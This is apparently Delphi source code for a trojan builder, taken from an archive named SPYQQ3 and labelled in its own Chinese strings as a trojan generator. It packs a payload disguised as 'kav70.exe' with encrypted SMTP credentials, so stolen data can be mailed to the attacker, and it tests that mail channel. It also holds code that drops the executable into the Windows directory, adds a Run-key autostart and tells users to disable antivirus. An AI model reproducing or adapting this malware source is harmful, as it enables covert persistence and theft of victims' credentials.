www.pudn.com > SPYQQ3.rar > Unit1.pas
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,IdMessage,IdSMTP,
Dialogs, StdCtrls, ExtCtrls, Spin;
type
TForm1 = class(TForm)
page: TLabel;
sendFrom: TLabel;
username: TLabel;
password: TLabel;
sendTo: TLabel;
smtpServer: TLabel;
Bevel1: TBevel;
Bevel2: TBevel;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Edit4: TEdit;
Edit5: TEdit;
Edit6: TEdit;
Button2: TButton;
OpenDialog1: TOpenDialog;
SaveDialog1: TSaveDialog;
Label1: TLabel;
Panel1: TPanel;
Image1: TImage;
Button1: TButton;
Label2: TLabel;
SpinEdit1: TSpinEdit;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
function GenerateFile(sourcefile,targetfile:string):boolean;
end;
Const RES_NAME = 'KAV70';
RES_TYPE = 'EXE';
FILE_NAME = 'kav70.exe';
var
Form1: TForm1;
implementation
{$R *.dfm}
{$R kav70.RES}
function WindowsDirectory: string;
var
WinDir: PChar;
begin
WinDir := StrAlloc(MAX_PATH);
GetWindowsDirectory(WinDir, MAX_PATH);
Result := string(WinDir);
if Result[Length(Result)] <> '\' then
Result := Result + '\';
StrDispose(WinDir);
end;
function extractres(restype,resname,resnewname:string):boolean;
var
res:TResourceStream;
begin
try
res:=TResourceStream.Create(Hinstance,resname,pchar(restype));
try
res.SaveToFile(resnewname);
result:=true;
finally
res.Free;
end;
except
result:=false;
end;
end;
function SetupReg(ExeFileName : String) : Boolean;
function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;
function AddStrToReg(RootKey: HKEY; const StrPath, StrName, StrData: PChar) : Boolean;
var
TempKey: HKEY;
Disposition, DataSize: LongWord;
begin
Result := false;
TempKey := 0;
Disposition := REG_CREATED_NEW_KEY;
if RegCreateKeyEx(RootKey, StrPath, 0, nil, 0, KEY_ALL_ACCESS, nil, TempKey, @Disposition) = ERROR_SUCCESS then begin
DataSize := StrLen(StrData) + 1;
if RegSetValueEx(TempKey, StrName, 0, REG_SZ, StrData, DataSize) = ERROR_SUCCESS then
Result := true;
RegCloseKey(TempKey);
end;
end;
const
RunName = 'kav70';
RunPath = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run';
begin
Result := AddStrToReg(HKEY_LOCAL_MACHINE, RunPath, RunName, PChar(ExeFileName));
end;
function ExtractFiles:Boolean;
var
fn : string;
//si: TStartupInfo;
//pi: TProcessInformation;
begin
{FillChar(si, SizeOf(TStartupInfo), 0);
with si do
begin
cb := SizeOf(TStartupInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_SHOWNORMAL;
end;}
Result := False;
fn := WindowsDirectory + FILE_NAME;
if not SetupReg(fn) then begin
Result := False;
end;
if not FileExists(fn) then begin
if extractres(RES_TYPE,RES_NAME,fn) then begin
if WinExec(PChar(fn),0) > 31 then begin
Result := True;
end;
end;
end else begin
if WinExec(PChar(fn),0) > 31 then begin
Result := True;
end else begin
DeleteFile(fn);
if extractres(RES_TYPE,RES_NAME,fn) then begin
if WinExec(PChar(fn),0) > 31 then begin
Result := True;
end;
end;
end;
end;
if not SetupReg(fn) then begin
Result := False;
end;
end;
{#### 加密解密}
const
fSeedA = 56789;/// 常量 ,
fSeedB = 54667; /// 常量 ,
fKey = 1006; // 钥匙
function Encrypt(const str: string): string;
var
i, j, iKey: Integer;
strGet: string;
begin
strGet := str;
iKey := FKey;
Result := strGet;
for i := 1 to Length(strGet) do
begin
Result[i] := Char(byte(strGet[i])xor(iKey shr 8));
iKey := (Byte(Result[I]) + iKey) * FSeedA + FSeedB;
end;
strGet := Result;
Result := '';
for i:=1 to Length(strGet) do
begin
j := Integer(strGet[i]);
Result := Result + Char(65+(j div 26))+ char(65+(j mod 26));
end;
end;
function Decrypt(const str: string): string;
var
i, j, iKey: Integer;
strGet: string;
begin
strGet := str;
iKey := FKey;
Result := '';
for i := 1 to (Length(strGet) div 2) do
begin
j := (Integer(strGet[2*i-1])-65)*26;
j := j + (Integer(strGet[2*i])-65);
Result := Result + Char(j);
end;
strGet := Result;
for i := 1 to Length(strGet) do
begin
Result[i] := Char(byte(strGet[I]) xor (iKey shr 8));
iKey := (Byte(strGet[I]) + iKey) * FSeedA + FSeedB;
end;
end;
{#############}
function TForm1.GenerateFile(sourcefile,targetfile:string):boolean;
var
source : TFilestream;
target : TMemorystream;
buffer : array [0..255] of char;
len : integer;
waitTime : Integer;
begin
try
target := TMemorystream.Create;
source := TFilestream.Create(SourceFile,fmOpenRead or fmShareDenyNone);
try
target.CopyFrom(source,source.Size);
waitTime := SpinEdit1.Value;
target.WriteBuffer(waitTime,sizeof(Integer));
ZeroMemory(@buffer,sizeof(buffer));
StrCopy(buffer,Pchar(Encrypt(Trim(Edit1.text))));
target.WriteBuffer(buffer,sizeof(buffer));
ZeroMemory(@buffer,sizeof(buffer));
StrCopy(buffer,Pchar(Encrypt(Trim(Edit2.text))));
target.WriteBuffer(buffer,sizeof(buffer));
ZeroMemory(@buffer,sizeof(buffer));
StrCopy(buffer,Pchar(Encrypt(Trim(Edit3.text))));
target.WriteBuffer(buffer,sizeof(buffer));
ZeroMemory(@buffer,sizeof(buffer));
StrCopy(buffer,Pchar(Encrypt(Trim(Edit4.text))));
target.WriteBuffer(buffer,sizeof(buffer));
ZeroMemory(@buffer,sizeof(buffer));
StrCopy(buffer,Pchar(Encrypt(Trim(Edit5.text))));
target.WriteBuffer(buffer,sizeof(buffer));
ZeroMemory(@buffer,sizeof(buffer));
StrCopy(buffer,Pchar(Encrypt(Trim(Edit6.text))));
target.WriteBuffer(buffer,sizeof(buffer));
len := Integer(6*256) + sizeOf(integer);
target.WriteBuffer(len,sizeof(integer));
target.WriteBuffer('XXHAN',5);
target.SaveToFile(targetfile);
finally
target.Free;
source.Free;
end;
except
result:=false;
exit;
end;
result:=true;
end;
////////////// 通过邮件发送 ///////////////////
procedure SendByMail(smtp : TIdsmtp; msg : TIdMessage ; userpass : string);
begin
msg.From.Name := Trim('火血狼');
msg.From.Address := Trim(Form1.Edit2.Text);
msg.Recipients.EMailAddresses := Trim(Form1.Edit6.Text);
msg.Body.Add(Trim(userpass));
msg.Subject := Trim('木马生成器发信测试');
smtp.Password := Form1.Edit5.Text;
smtp.Username := Form1.Edit4.Text;
smtp.Host := Trim(Form1.Edit3.Text);
smtp.Connect;
smtp.Send(msg);
smtp.Disconnect;
end;
procedure SendTestEmail;
var
smtp : TIdSmtp;
msg : TIdmessage;
ok : boolean;
begin
ok := false;
smtp := TIdSmtp.Create(nil);
msg := TIdMessage.Create(nil);
try
SendByMail(smtp,msg,'木马生成器测试邮件!!');
ok := true;
except
on E:Exception do ShowMessage('测试发信失败：'+#13+E.Message);
end;
smtp.Free;
msg.Free;
if ok then
ShowMessage('测试发信成功，请稍后查看邮箱。');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
SendTestEmail;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
//if Edit7.Text = '' then Exit;
if SaveDialog1.Execute then begin
if not extractres(RES_TYPE,RES_NAME,FILE_NAME) then begin
ShowMessage('生成文件失败。');
Exit;
end;
if GenerateFile(FILE_NAME,SaveDialog1.Filename) then begin
ShowMessage('成功生成：'+#13+ SaveDialog1.Filename);
end else begin
ShowMessage('生成文件失败。');
end;
DeleteFile(FILE_NAME);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
{ try
if not ExtractFiles then begin
MessageBox(0,'无法运行，请将杀毒软件关闭！！','XY2',MB_OK);
Application.Terminate;
end;
except
end;}
end;
end.